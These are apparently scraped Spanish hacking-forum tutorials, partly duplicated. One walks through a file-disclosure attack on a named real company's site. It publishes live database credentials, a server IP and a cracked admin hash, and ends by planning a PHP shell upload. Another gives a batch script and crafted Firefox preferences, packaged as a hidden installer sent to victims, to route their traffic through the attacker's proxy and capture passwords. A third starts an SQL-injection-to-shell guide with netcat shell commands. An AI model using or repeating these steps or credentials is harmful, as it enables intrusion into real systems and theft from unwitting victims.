El q nos interesa es inc/connect.php
Nuevamente Descargamos y analizamos
)

Como veremos en su codigo empesamos a distingir sentencias q hacen referencia a la configuracion de MySql
ademas distinguimos en el principo del Suorce q se incluye el archivo config.php, Debe ser Interesante su contenido.
include_once('config.php');
Descargemos y analisemos!!! (se tiene q respetar el directorio dentro del q nos encontramos por lo tanto la ruta a incluir es inc/config.php)


Y como por arte de magia podemos divisar los usuarios y contraseñas de MySql tanto Locales como remotos
if ($_SERVER['HTTP_HOST'] == 'localhost' || $_SERVER['HTTP_HOST'] == 'server.lan')
{
$config['mysqlhost'] = 'localhost';
$config['mysqluser'] = 'root';
$config['mysqlpass'] = '';
$config['mysqldb'] = 'db_latinrisk';
$_URL = 'http://server.lan/latinrisk/web/';
}
else
{
// $config['mysqlhost'] = '190.228.29.68';
$config['mysqlhost'] = '192.168.0.170';
$config['mysqluser'] = 'user_latinrisk';
$config['mysqlpass'] = 'Jwe9UoL6';
$config['mysqldb'] = 'db_latinrisk';
$_URL = 'No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
}
Ahora nos fijamos si la web Posee phpmyadmin:

Tristemente la web no tiene phpmyadmin
pero como somos algo intrepidos y sabemos analisar el codigo vemos q el servidor MySql
es accesible desde la siguiente ip Publica 190.228.29.68 con Usuario "user_latinrisk" y password "Jwe9UoL6"
aca la imaginacion del hacker, existen varios metodos para acceder remotamente a una base de datos, yo por mi parto Utilizare MySqlNavigaitor
(Demas esta decir q el puerto defautl de Coneccion a un servidor MySql es 3306)
Llenamos los campos Correctamente y damos en Fire

Podemos ver las bases de datos que se encuentran en el sitio No tienes permitido ver enlaces. Registrate o Entra a tu cuenta (empresa q se dedica a "Solventar Vulnerabilidades Informaticas a Empresas" XD)

nos vamos a db_latinrisk/gral_admin y nos encontraremos con los 2 usuarios mas poderosos de esta web

Solo queda Desencryptar la pass en md5 de alguno de los 2 usuarios y tendremos acceso al AdminPanel de LatinRisk
Para los Peresosos:
admin a4be08c8f9378e32a2ffad1ab48d3e6 (lr1120)
Buscamos el AdminPanel con la tecnica q uds mas Prefieran y llegamos a la siguiente direccion
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Ingresamos los datos correspondientes y damos click en Ingresar (Recomiendo usar algun metodo de Anonimato)
y podremos apreciar lo siguiente:

Solo queda Bypassear algun Upload de Imagenes y subir nuestra phpshell
Renuncia: Este Contenido es puramente Educativo, y todo uso indebido de el, corre bajo la total responsabilidad del actor.
HD_Breaker
Tengan Concideracion en las imagenes es un verdadero Parto Subir una por una todas las imagenes sino hubiera terminado el tuto antes Abrasos Underc0de!!!
Para realizar este tutorial necesitamos enteder el concepto de LFI (Local File Inclution)
LFI es un error de programacion en php bastante comun donde se permite incluir dentro del codigo php
de la web afectada, el codigo de otra q este en el mismo Dominio. EJ
Include.php
<?php
$pagina = $_GET['pagina'];
include($pagina);
?>
En este Breve surce se describe una falla LFI en el Parametro $pagina donde se puede llamar al contenido de otra pagina
y posterior mente incluirla en su source atraves de include().
como se puede ver este parametro se puede llamar desde la url, de la siguiente manera.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
esto incluiria el contenido del archivo passwd y lo haria visible dentro de la pagina Include.php
El Full Source Disclosure funciona de forma similar ya que incluiremos un archivo dentro de una pagina php de descarga,
y de esta forma analisaremos detalladamente el source en nuestra pc buscando informacion sensible
Un Dork Comun para buscar una web vulnerable es:
inurl:download.php?file=* site:.com.ar
Buscamos un objetivo y probamos si es vulnerable, en mi caso elegi:
www.latinrisk.com.ar/download.php?file=doc/brochure-esp-final.pdf

copiamos la url y sustituimos el archivo brochure-esp-final.pdf por download.php
www.latinrisk.com.ar/download.php?file=download.php

y vemos como download.php es descargado a nuestro disco duro, analisemos su contenido

Como Podremos Distingir esta la clasica falla LFI en su Source
$file = basename($_GET['file']);
Esto es lo q nos va a permitir llevar a cabo nuestro ataque. Proseguimos
Dado que podemos descargar contenido al q no tenemos acceso desde, nuestro querido download.php?file=
empesaremos a descargar paginas con contenido importante, Ej.
Descargaremos el archivo index.php y analizaremos su contenido


Como podremos Apreciar dentro del source de index.php encontraremos el archivo de configuracion inc_loader.php
<? include ('inc_loader.php'); ?>
Descargemoslo y analisemos el Source!


Como Podremos ver en el Source encontraremos incluidas varios Archivos de Configuracion.
include('inc/connect.php');
include('inc/func_std.php');
include('inc/sanitize.php');
include('inc_variables.php');
El q nos interesa es inc/connect.php
Nuevamente Descargamos y analizamos


Como veremos en su codigo empesamos a distingir sentencias q hacen referencia a la configuracion de MySql
ademas distinguimos en el principo del Suorce q se incluye el archivo config.php, Debe ser Interesante su contenido.
include_once('config.php');
Descargemos y analisemos!!! (se tiene q respetar el directorio dentro del q nos encontramos por lo tanto la ruta a incluir es inc/config.php)


Y como por arte de magia podemos divisar los usuarios y contraseñas de MySql tanto Locales como remotos
if ($_SERVER['HTTP_HOST'] == 'localhost' || $_SERVER['HTTP_HOST'] == 'server.lan')
{
$config['mysqlhost'] = 'localhost';
$config['mysqluser'] = 'root';
$config['mysqlpass'] = '';
$config['mysqldb'] = 'db_latinrisk';
$_URL = 'http://server.lan/latinrisk/web/';
}
else
{
// $config['mysqlhost'] = '190.228.29.68';
$config['mysqlhost'] = '192.168.0.170';
$config['mysqluser'] = 'user_latinrisk';
$config['mysqlpass'] = 'Jwe9UoL6';
$config['mysqldb'] = 'db_latinrisk';
$_URL = 'No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
}
Ahora nos fijamos si la web Posee phpmyadmin:

Tristemente la web no tiene phpmyadmin

es accesible desde la siguiente ip Publica 190.228.29.68 con Usuario "user_latinrisk" y password "Jwe9UoL6"
aca la imaginacion del hacker, existen varios metodos para acceder remotamente a una base de datos, yo por mi parto Utilizare MySqlNavigaitor
(Demas esta decir q el puerto defautl de Coneccion a un servidor MySql es 3306)
Llenamos los campos Correctamente y damos en Fire


Podemos ver las bases de datos que se encuentran en el sitio No tienes permitido ver enlaces. Registrate o Entra a tu cuenta (empresa q se dedica a "Solventar Vulnerabilidades Informaticas a Empresas" XD)

nos vamos a db_latinrisk/gral_admin y nos encontraremos con los 2 usuarios mas poderosos de esta web

Solo queda Desencryptar la pass en md5 de alguno de los 2 usuarios y tendremos acceso al AdminPanel de LatinRisk
Para los Peresosos:
admin a4be08c8f9378e32a2ffad1ab48d3e6 (lr1120)
Buscamos el AdminPanel con la tecnica q uds mas Prefieran y llegamos a la siguiente direccion
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Ingresamos los datos correspondientes y damos click en Ingresar (Recomiendo usar algun metodo de Anonimato)
y podremos apreciar lo siguiente:

Solo queda Bypassear algun Upload de Imagenes y subir nuestra phpshell
Renuncia: Este Contenido es puramente Educativo, y todo uso indebido de el, corre bajo la total responsabilidad del actor.
HD_Breaker
Tengan Concideracion en las imagenes es un verdadero Parto Subir una por una todas las imagenes sino hubiera terminado el tuto antes Abrasos Underc0de!!!
#337
Hacking / Ataque Man in the Middle Remotamente
Junio 22, 2012, 04:53:09 AM
Ataque Man in the Middle Remotamente
Bueno en este tutorial voy a explicar una forma muy facil de realizar un ataque MIM de forma Remota
me decidi a postearlo porq no he leido en ningun foro como realizar esta facil operacion
Necesitaremos 2 cosas
1) Proxy Paros en su ultima version
2) Algun Lenguaje de Programacion
(para hacerlo de forma rapida decidi hacerlo bajo batch aunq se puede desarrollar en otro lenguaje)
Primero q nada Abrimos algun Puerto en Nuetro Modem yo elegi uno alto por ej 9669
Instalamos Proxy Paros, y nos vamos al apartado Tools/Options/Local Proxy
en Adress colocamos el ip de nuestra pc que brindara el servicio de proxy
y en Port el puerto donde correra el Servicio, en este caso 9669
Una ves configurado Paros Proxy nos vamos a programar nuestro malware
Para Lograr editar el proxy atraves de un batch en Firefox, debemos entender q la configuracion de proxys en Firefox se guarda en el archivo prefs.js
Ubicado en C:\Documents and Settings\"USUARIO"\Datos de programa\Mozilla\Firefox\Profiles\0sx27c3l.default\
0sx27c3l.default es un directorio que variara dependiendo de la version y la pc donde se instale Firefox
Sabiendo esto nos toca Crear un prefs.js q contenga la configuracion de Proxy con la IP Publica y puerto de la pc q corre Paros Proxy
Aca el Source del mismo:
# Mozilla User Preferences
/* Do not edit this file.
*
* If you make changes to this file while the application is running,
* the changes will be overwritten when the application exits.
*
* To make a manual change to preferences, you can visit the URL No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
* For more information, see No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
*/
user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1325582074);
user_pref("app.update.lastUpdateTime.background-update-timer", 1325582074);
user_pref("app.update.lastUpdateTime.blocklist-background-update-timer", 1325582074);
user_pref("app.update.lastUpdateTime.microsummary-generator-update-timer", 1325582074);
user_pref("app.update.lastUpdateTime.search-engine-update-timer", 1325582074);
user_pref("browser.download.manager.alertOnEXEOpen", true);
user_pref("browser.migration.version", 1);
user_pref("browser.places.importDefaults", false);
user_pref("browser.places.migratePostDataAnnotations", false);
user_pref("browser.places.smartBookmarksVersion", 1);
user_pref("browser.places.updateRecentTagsUri", false);
user_pref("browser.preferences.advanced.selectedTabIndex", 1);
user_pref("browser.rights.3.shown", true);
user_pref("browser.search.defaultenginename", "SweetIM Search");
user_pref("browser.search.defaulturl", "");
user_pref("browser.search.selectedEngine", "SweetIM Search");
user_pref("browser.startup.homepage", "No tienes permitido ver enlaces. Registrate o Entra a tu cuenta");
user_pref("browser.startup.homepage_override.mstone", "rv:1.9.0.5");
user_pref("extensions.enabledItems", "{e001c731-5e37-4538-a5cb-8168736a2360}:0.9.9.114,[email protected]:1.4.1,{20a82645-c095-46ed-80e3-08825760534b}:1.0,{EEE6C361-6118-11DC-9C72-001320C79847}:1.2.0.2,{972ce4c6-7e08-4474-a285-3208198ce6fd}:3.0.5");
user_pref("extensions.facemoods.DNSErrUrl", "No tienes permitido ver enlaces. Registrate o Entra a tu cuenta");
user_pref("extensions.facemoods.aflt", "_#nv1");
user_pref("extensions.facemoods.dfltSrch", false);
user_pref("extensions.facemoods.dnsErr", false);
user_pref("extensions.facemoods.fcmdVrsn", "1.2.7.5.4");
user_pref("extensions.facemoods.firstRun", false);
user_pref("extensions.facemoods.first_time", false);
user_pref("extensions.facemoods.hmpg", false);
user_pref("extensions.facemoods.hmpgUrl", "No tienes permitido ver enlaces. Registrate o Entra a tu cuenta");
user_pref("extensions.facemoods.id", "_#142e8e7b0000000000000800276b6377");
user_pref("extensions.facemoods.instlDay", "_#15321");
user_pref("extensions.facemoods.mntz", "");
user_pref("extensions.facemoods.newTab", false);
user_pref("extensions.facemoods.prtnrId", "_#facemoods.com");
user_pref("extensions.facemoods.searchProviderAdded", false);
user_pref("extensions.facemoods.sid", "_#408714f6355a4f9b85e1b2f01e44ea3e");
user_pref("extensions.facemoods.tlbrSrchUrl", "No tienes permitido ver enlaces. Registrate o Entra a tu cuenta");
user_pref("extensions.facemoods.update", "_#v1.4.0");
user_pref("extensions.facemoods.vrsn", "_#1.4.17.11");
user_pref("extensions.update.notifyUser", false);
user_pref("general.useragent.extra.microsoftdotnet", "(.NET CLR 3.5.30729)");
user_pref("intl.charsetmenu.browser.cache", "UTF-8");
user_pref("keyword.URL", "No tienes permitido ver enlaces. Registrate o Entra a tu cuenta");
user_pref("network.cookie.prefsMigrated", true);
user_pref("network.proxy.backup.ftp", "192.168.0.2");
user_pref("network.proxy.backup.ftp_port", 9669);
user_pref("network.proxy.backup.gopher", "192.168.0.2");
user_pref("network.proxy.backup.gopher_port", 9669);
user_pref("network.proxy.backup.socks", "192.168.0.2");
user_pref("network.proxy.backup.socks_port", 9669);
user_pref("network.proxy.backup.ssl", "192.168.0.2");
user_pref("network.proxy.backup.ssl_port", 9669);
user_pref("network.proxy.ftp", "IPPUBLICA");
user_pref("network.proxy.ftp_port", PUERTO PAROS);
user_pref("network.proxy.gopher", "IPPUBLICA");
user_pref("network.proxy.gopher_port", PUERTO PAROS);
user_pref("network.proxy.http", "IPPUBLICA");
user_pref("network.proxy.http_port", PUERTO PAROS);
user_pref("network.proxy.share_proxy_settings", true);
user_pref("network.proxy.socks", "IPPUBLICA");
user_pref("network.proxy.socks_port", PUERTO PAROS);
user_pref("network.proxy.ssl", "IPPUBLICA");
user_pref("network.proxy.ssl_port", PUERTO PAROS);
user_pref("network.proxy.type", 1);
user_pref("privacy.clearOnShutdown.cookies", false);
user_pref("security.warn_viewing_mixed", false);
user_pref("security.warn_viewing_mixed.show_once", false);
user_pref("sweetim.toolbar.highlight.colors", "#FFFF00,#00FFE4,#5AFF00,#0087FF,#FFCC00,#FF00F0");
user_pref("sweetim.toolbar.logger.ConsoleHandler.MinReportLevel", "7");
user_pref("sweetim.toolbar.logger.FileHandler.FileName", "ff-toolbar.log");
user_pref("sweetim.toolbar.logger.FileHandler.MaxFileSize", "200000");
user_pref("sweetim.toolbar.logger.FileHandler.MinReportLevel", "7");
user_pref("sweetim.toolbar.mode.debug", "false");
user_pref("sweetim.toolbar.previous.browser.search.defaultenginename", "");
user_pref("sweetim.toolbar.previous.browser.search.defaulturl", "");
user_pref("sweetim.toolbar.previous.browser.search.selectedEngine", "");
user_pref("sweetim.toolbar.previous.browser.startup.homepage", "");
user_pref("sweetim.toolbar.previous.keyword.URL", "No tienes permitido ver enlaces. Registrate o Entra a tu cuenta");
user_pref("sweetim.toolbar.search.external", "<?xml version=\"1.0\"?><TOOLBAR><EXTERNAL_SEARCH engine=\"http://*google.*\" param=\"q=\" /><EXTERNAL_SEARCH engine=\"No tienes permitido ver enlaces. Registrate o Entra a tu cuenta" param=\"p=\" /><EXTERNAL_SEARCH engine=\"http://search.sweetim.*\" param=\"q=\" /><EXTERNAL_SEARCH engine=\"http://*.live.*/*\" param=\"q=\" /><EXTERNAL_SEARCH engine=\"http://*youtube.com/\" param=\"search_query=\" /><EXTERNAL_SEARCH engine=\"http://*.ebay.*/search/*\" param=\"satitle=\" /><EXTERNAL_SEARCH engine=\"http://*.amazon.com/s/*\" param=\"field-keywords=\" /></TOOLBAR>");
user_pref("sweetim.toolbar.search.history.capacity", "10");
user_pref("sweetim.toolbar.searchguard.enable", "true");
user_pref("sweetim.toolbar.simapp_id", "{D1E38357-2567-11E1-A738-0800276B6377}");
user_pref("sweetim.toolbar.urls.homepage", "No tienes permitido ver enlaces. Registrate o Entra a tu cuenta");
user_pref("sweetim.toolbar.version", "1.2.0.2");
user_pref("No tienes permitido ver enlaces. Registrate o Entra a tu cuenta", 1342938776);
user_pref("xpinstall.whitelist.add", "");
user_pref("xpinstall.whitelist.add.103", "");
Deben Editar donde dice IPPUBLICA con la Ip del Servidor Paros y donde dice PUERTO PAROS con el Puerto Correspondiente
una ves Creado nuestro prefs.js (desde ahora lo llamaremos prefsh.js) nos vamos a programar nuestro Malware.
Abrimos el Notepad y pegamos lo siguiente (el siguiente Source cambia el Proxy en los Registros de IE)
(Tienen q Sustituir por el Ip del Servidor Proxy Paros donde dice MIIPPUBLICA (ip publica de su pc donde se corre Paros) y donde dice Puerto por el correspondiente Puerto)
@echo off
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer /t REG_SZ /d ftp=MIIPPUBLICA:Puerto;http=MIIPPUBLICA:Puerto;https=MIIPPUBLICA:Puerto;socks=MIIPPUBLICA:Puerto /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0 /f
copy prefsh.js c:\prefsh.js
REM aca sustituimos el prefs.js por nuestro prefsh.js
cd %APPDATA%\Mozilla\Firefox\Profiles\0sx27c3l.default
delete prefs.js
copy c:\prefsh.js %APPDATA%\Mozilla\Firefox\Profiles\prefs.js
exit
Aca tengo una falencia q seguro alguien de Underc0de va a poder aclararme, dado q 0sx27c3l.default es una carpeta creada al momento de instalacion
como podria lograr a traves de batch encontrar el nombre de esa carpeta para luego moverme dentro de ella porq de otra manera el source anterior no funcionaria
en todas las pcs victimas
Pense en moverme primero a %APPDATA%\Mozilla\Firefox\Profiles luego buscar el archivo, con Dir prefs.js /s esto devolveria la hubicacion completa del mismo
y por lo tanto el nombre de esta carpeta default, ahora como puedo utilizar esta ruta o solo sacar el nombre de la carpeta y moverme dentro de ella para lograr
sustituir con exito prefs.js por prefsh.js?
Al finalizar esta parte, tendremos 2 archivos, prefsh.js y el batch y recurriremos a nuestro antiguo amigo iexpress
Crearemos un paquete de ejecucion oculta, meteremos ambos archivos y estableceremos el .bat para la ejecucion post descompresion
Hecho esto tendremos 1 archivo q deberemos mandarcelo a nuesta victima, al ejecutarlo toda informacion q viaje a travez de internet
sera redireccionada a nuestro Proxy y podremos verla en texto sin sifrar.
Como veran en la siguiente fotografia el usuario y password introducidos por la PCVictima se ven reflejados en Paros Proxy en texto Plano

Renuncia: Este contenido es Puramente Educativo, y no me responzabiliso del uso Inadecuado del mismo
No recomiendo para nada esta tecnica, ya q canta muchisimo, al cerrar Proxy Paros se caera la coneccion de la PCVictima y tambien saldran Carteles en los navegadores por falta de certificados, es algo arcaico existiendo los troyanos de hoy en dia, pero es una forma de enteder el sniffing a nivel remoto y una forma distinta a lo comun de lograrlo.
HD_Breaker
Bueno en este tutorial voy a explicar una forma muy facil de realizar un ataque MIM de forma Remota
me decidi a postearlo porq no he leido en ningun foro como realizar esta facil operacion
Necesitaremos 2 cosas
1) Proxy Paros en su ultima version
2) Algun Lenguaje de Programacion
(para hacerlo de forma rapida decidi hacerlo bajo batch aunq se puede desarrollar en otro lenguaje)
Primero q nada Abrimos algun Puerto en Nuetro Modem yo elegi uno alto por ej 9669
Instalamos Proxy Paros, y nos vamos al apartado Tools/Options/Local Proxy
en Adress colocamos el ip de nuestra pc que brindara el servicio de proxy
y en Port el puerto donde correra el Servicio, en este caso 9669
Una ves configurado Paros Proxy nos vamos a programar nuestro malware
Para Lograr editar el proxy atraves de un batch en Firefox, debemos entender q la configuracion de proxys en Firefox se guarda en el archivo prefs.js
Ubicado en C:\Documents and Settings\"USUARIO"\Datos de programa\Mozilla\Firefox\Profiles\0sx27c3l.default\
0sx27c3l.default es un directorio que variara dependiendo de la version y la pc donde se instale Firefox
Sabiendo esto nos toca Crear un prefs.js q contenga la configuracion de Proxy con la IP Publica y puerto de la pc q corre Paros Proxy
Aca el Source del mismo:
# Mozilla User Preferences
/* Do not edit this file.
*
* If you make changes to this file while the application is running,
* the changes will be overwritten when the application exits.
*
* To make a manual change to preferences, you can visit the URL No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
* For more information, see No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
*/
user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1325582074);
user_pref("app.update.lastUpdateTime.background-update-timer", 1325582074);
user_pref("app.update.lastUpdateTime.blocklist-background-update-timer", 1325582074);
user_pref("app.update.lastUpdateTime.microsummary-generator-update-timer", 1325582074);
user_pref("app.update.lastUpdateTime.search-engine-update-timer", 1325582074);
user_pref("browser.download.manager.alertOnEXEOpen", true);
user_pref("browser.migration.version", 1);
user_pref("browser.places.importDefaults", false);
user_pref("browser.places.migratePostDataAnnotations", false);
user_pref("browser.places.smartBookmarksVersion", 1);
user_pref("browser.places.updateRecentTagsUri", false);
user_pref("browser.preferences.advanced.selectedTabIndex", 1);
user_pref("browser.rights.3.shown", true);
user_pref("browser.search.defaultenginename", "SweetIM Search");
user_pref("browser.search.defaulturl", "");
user_pref("browser.search.selectedEngine", "SweetIM Search");
user_pref("browser.startup.homepage", "No tienes permitido ver enlaces. Registrate o Entra a tu cuenta");
user_pref("browser.startup.homepage_override.mstone", "rv:1.9.0.5");
user_pref("extensions.enabledItems", "{e001c731-5e37-4538-a5cb-8168736a2360}:0.9.9.114,[email protected]:1.4.1,{20a82645-c095-46ed-80e3-08825760534b}:1.0,{EEE6C361-6118-11DC-9C72-001320C79847}:1.2.0.2,{972ce4c6-7e08-4474-a285-3208198ce6fd}:3.0.5");
user_pref("extensions.facemoods.DNSErrUrl", "No tienes permitido ver enlaces. Registrate o Entra a tu cuenta");
user_pref("extensions.facemoods.aflt", "_#nv1");
user_pref("extensions.facemoods.dfltSrch", false);
user_pref("extensions.facemoods.dnsErr", false);
user_pref("extensions.facemoods.fcmdVrsn", "1.2.7.5.4");
user_pref("extensions.facemoods.firstRun", false);
user_pref("extensions.facemoods.first_time", false);
user_pref("extensions.facemoods.hmpg", false);
user_pref("extensions.facemoods.hmpgUrl", "No tienes permitido ver enlaces. Registrate o Entra a tu cuenta");
user_pref("extensions.facemoods.id", "_#142e8e7b0000000000000800276b6377");
user_pref("extensions.facemoods.instlDay", "_#15321");
user_pref("extensions.facemoods.mntz", "");
user_pref("extensions.facemoods.newTab", false);
user_pref("extensions.facemoods.prtnrId", "_#facemoods.com");
user_pref("extensions.facemoods.searchProviderAdded", false);
user_pref("extensions.facemoods.sid", "_#408714f6355a4f9b85e1b2f01e44ea3e");
user_pref("extensions.facemoods.tlbrSrchUrl", "No tienes permitido ver enlaces. Registrate o Entra a tu cuenta");
user_pref("extensions.facemoods.update", "_#v1.4.0");
user_pref("extensions.facemoods.vrsn", "_#1.4.17.11");
user_pref("extensions.update.notifyUser", false);
user_pref("general.useragent.extra.microsoftdotnet", "(.NET CLR 3.5.30729)");
user_pref("intl.charsetmenu.browser.cache", "UTF-8");
user_pref("keyword.URL", "No tienes permitido ver enlaces. Registrate o Entra a tu cuenta");
user_pref("network.cookie.prefsMigrated", true);
user_pref("network.proxy.backup.ftp", "192.168.0.2");
user_pref("network.proxy.backup.ftp_port", 9669);
user_pref("network.proxy.backup.gopher", "192.168.0.2");
user_pref("network.proxy.backup.gopher_port", 9669);
user_pref("network.proxy.backup.socks", "192.168.0.2");
user_pref("network.proxy.backup.socks_port", 9669);
user_pref("network.proxy.backup.ssl", "192.168.0.2");
user_pref("network.proxy.backup.ssl_port", 9669);
user_pref("network.proxy.ftp", "IPPUBLICA");
user_pref("network.proxy.ftp_port", PUERTO PAROS);
user_pref("network.proxy.gopher", "IPPUBLICA");
user_pref("network.proxy.gopher_port", PUERTO PAROS);
user_pref("network.proxy.http", "IPPUBLICA");
user_pref("network.proxy.http_port", PUERTO PAROS);
user_pref("network.proxy.share_proxy_settings", true);
user_pref("network.proxy.socks", "IPPUBLICA");
user_pref("network.proxy.socks_port", PUERTO PAROS);
user_pref("network.proxy.ssl", "IPPUBLICA");
user_pref("network.proxy.ssl_port", PUERTO PAROS);
user_pref("network.proxy.type", 1);
user_pref("privacy.clearOnShutdown.cookies", false);
user_pref("security.warn_viewing_mixed", false);
user_pref("security.warn_viewing_mixed.show_once", false);
user_pref("sweetim.toolbar.highlight.colors", "#FFFF00,#00FFE4,#5AFF00,#0087FF,#FFCC00,#FF00F0");
user_pref("sweetim.toolbar.logger.ConsoleHandler.MinReportLevel", "7");
user_pref("sweetim.toolbar.logger.FileHandler.FileName", "ff-toolbar.log");
user_pref("sweetim.toolbar.logger.FileHandler.MaxFileSize", "200000");
user_pref("sweetim.toolbar.logger.FileHandler.MinReportLevel", "7");
user_pref("sweetim.toolbar.mode.debug", "false");
user_pref("sweetim.toolbar.previous.browser.search.defaultenginename", "");
user_pref("sweetim.toolbar.previous.browser.search.defaulturl", "");
user_pref("sweetim.toolbar.previous.browser.search.selectedEngine", "");
user_pref("sweetim.toolbar.previous.browser.startup.homepage", "");
user_pref("sweetim.toolbar.previous.keyword.URL", "No tienes permitido ver enlaces. Registrate o Entra a tu cuenta");
user_pref("sweetim.toolbar.search.external", "<?xml version=\"1.0\"?><TOOLBAR><EXTERNAL_SEARCH engine=\"http://*google.*\" param=\"q=\" /><EXTERNAL_SEARCH engine=\"No tienes permitido ver enlaces. Registrate o Entra a tu cuenta" param=\"p=\" /><EXTERNAL_SEARCH engine=\"http://search.sweetim.*\" param=\"q=\" /><EXTERNAL_SEARCH engine=\"http://*.live.*/*\" param=\"q=\" /><EXTERNAL_SEARCH engine=\"http://*youtube.com/\" param=\"search_query=\" /><EXTERNAL_SEARCH engine=\"http://*.ebay.*/search/*\" param=\"satitle=\" /><EXTERNAL_SEARCH engine=\"http://*.amazon.com/s/*\" param=\"field-keywords=\" /></TOOLBAR>");
user_pref("sweetim.toolbar.search.history.capacity", "10");
user_pref("sweetim.toolbar.searchguard.enable", "true");
user_pref("sweetim.toolbar.simapp_id", "{D1E38357-2567-11E1-A738-0800276B6377}");
user_pref("sweetim.toolbar.urls.homepage", "No tienes permitido ver enlaces. Registrate o Entra a tu cuenta");
user_pref("sweetim.toolbar.version", "1.2.0.2");
user_pref("No tienes permitido ver enlaces. Registrate o Entra a tu cuenta", 1342938776);
user_pref("xpinstall.whitelist.add", "");
user_pref("xpinstall.whitelist.add.103", "");
Deben Editar donde dice IPPUBLICA con la Ip del Servidor Paros y donde dice PUERTO PAROS con el Puerto Correspondiente
una ves Creado nuestro prefs.js (desde ahora lo llamaremos prefsh.js) nos vamos a programar nuestro Malware.
Abrimos el Notepad y pegamos lo siguiente (el siguiente Source cambia el Proxy en los Registros de IE)
(Tienen q Sustituir por el Ip del Servidor Proxy Paros donde dice MIIPPUBLICA (ip publica de su pc donde se corre Paros) y donde dice Puerto por el correspondiente Puerto)
@echo off
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer /t REG_SZ /d ftp=MIIPPUBLICA:Puerto;http=MIIPPUBLICA:Puerto;https=MIIPPUBLICA:Puerto;socks=MIIPPUBLICA:Puerto /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0 /f
copy prefsh.js c:\prefsh.js
REM aca sustituimos el prefs.js por nuestro prefsh.js
cd %APPDATA%\Mozilla\Firefox\Profiles\0sx27c3l.default
delete prefs.js
copy c:\prefsh.js %APPDATA%\Mozilla\Firefox\Profiles\prefs.js
exit
Aca tengo una falencia q seguro alguien de Underc0de va a poder aclararme, dado q 0sx27c3l.default es una carpeta creada al momento de instalacion
como podria lograr a traves de batch encontrar el nombre de esa carpeta para luego moverme dentro de ella porq de otra manera el source anterior no funcionaria
en todas las pcs victimas
Pense en moverme primero a %APPDATA%\Mozilla\Firefox\Profiles luego buscar el archivo, con Dir prefs.js /s esto devolveria la hubicacion completa del mismo
y por lo tanto el nombre de esta carpeta default, ahora como puedo utilizar esta ruta o solo sacar el nombre de la carpeta y moverme dentro de ella para lograr
sustituir con exito prefs.js por prefsh.js?
Al finalizar esta parte, tendremos 2 archivos, prefsh.js y el batch y recurriremos a nuestro antiguo amigo iexpress
Crearemos un paquete de ejecucion oculta, meteremos ambos archivos y estableceremos el .bat para la ejecucion post descompresion
Hecho esto tendremos 1 archivo q deberemos mandarcelo a nuesta victima, al ejecutarlo toda informacion q viaje a travez de internet
sera redireccionada a nuestro Proxy y podremos verla en texto sin sifrar.
Como veran en la siguiente fotografia el usuario y password introducidos por la PCVictima se ven reflejados en Paros Proxy en texto Plano

Renuncia: Este contenido es Puramente Educativo, y no me responzabiliso del uso Inadecuado del mismo
No recomiendo para nada esta tecnica, ya q canta muchisimo, al cerrar Proxy Paros se caera la coneccion de la PCVictima y tambien saldran Carteles en los navegadores por falta de certificados, es algo arcaico existiendo los troyanos de hoy en dia, pero es una forma de enteder el sniffing a nivel remoto y una forma distinta a lo comun de lograrlo.
HD_Breaker
#338
Bugs y Exploits / Intrusión a un Servidor Por SQLi y Obtener shell
Junio 22, 2012, 01:39:55 AM
Intrucion a un Servidor Por Sqli y Obtener shell Remota
1) Conceptos Basicos de Netcat
2) Buscar Vulnerabilidad Sqli
3) PhpShell
4) PerlShell (Reverse Conection)
Primero que nada Me precento soy HD_Breaker y pretendo dar a conocer una falla que la gran mayoria de los Administradores Conocen,
pero no por esto es menos probable q exista en un Servidor.
1) Conceptos Basicos de Netcat
Primero q nada Necesitamos saber los conceptos basicos de tranferencia tcp/ip q es un puerto y q servicios corren
para esto utilizaremos nuestra Navaja Suiza (Net Cat)
Para los q no sepan Utilizarla aqui una breve descripcion de los comandos mas utilizados
Ncat -l -p "N" -vv "IP/Domain" -e "Commando"
Esta linea lo q hace es
-l (Listen) Pone a la escucha el puerto -p (N = numero de puerto) para recivir peticiones entrantes,
-vv Doble Vervose, esto muestra en pantalla todo lo q sucede atraves de la coneccion, IP ip/dominio al q se van a realizar las peticiones
(si no se coloca nada se tomara localhost), -e Ejecuta un comando al conectarce ej -e cmd
Ncat -l -p 9669 -vv 192.168.1.58 -e cmd
Esto si lo utilizamos en modo Servidor a netcat poniendo a la espera un servicio cmd atras del puerto 9669 en una ip local 192.168.1.58
(para acceder desde el exterior sera necesario tener un no-ip, dyndns,etc, abrir los puertos en el modem y hacer un Forwarding a la ip local correspondiente)
Explicacion Grafica
PC cliente ----> Servidor "Netcat" (brinda shell)
PC Cliente <---- Servidor "Netcat"
Desde este momento todo comando enviado desde PC Cliente, sera interpretado por el Servidor y respondera nuevamente hacia la PC Cliente
Netcat Tambien se puede usar como Cliente de la siguiente manera
Ncat -vv "IP" "Puerto"
De esta manera Ncat se conectara a la IP:PUERTO deseado
2) Primero q nada que es una vulnerabilidad SQL
Como todos sabemos SQL es una base de datos donde atraves de peticiones especiales puede escribirce y recivir informacion dentro de ella
Esto se utiliza mucho en las web con contenido dinamico q requieren q el usuario se registre
Un uso comun de SQL y PHP se ve en los foros y en las web donde el usuario debe logearce
EL SOURCE:
<%
usuario=request.form("usuario")
pass=request.form("pass")
sql="SELECT * FROM usuarios WHERE user='" & usuario & "' and pw='" & pass & "'"
%>
Analicemos, este codigo lo q hace es pedir al usuario q ingrese usuario y contraseña
para luego compararlo y ver si existe dentro de la base de datos (TRUE) si el usuario no existe devuelve (FALSE)
y dira el clasico mensaje "Error usuario y/o password incorrecto"
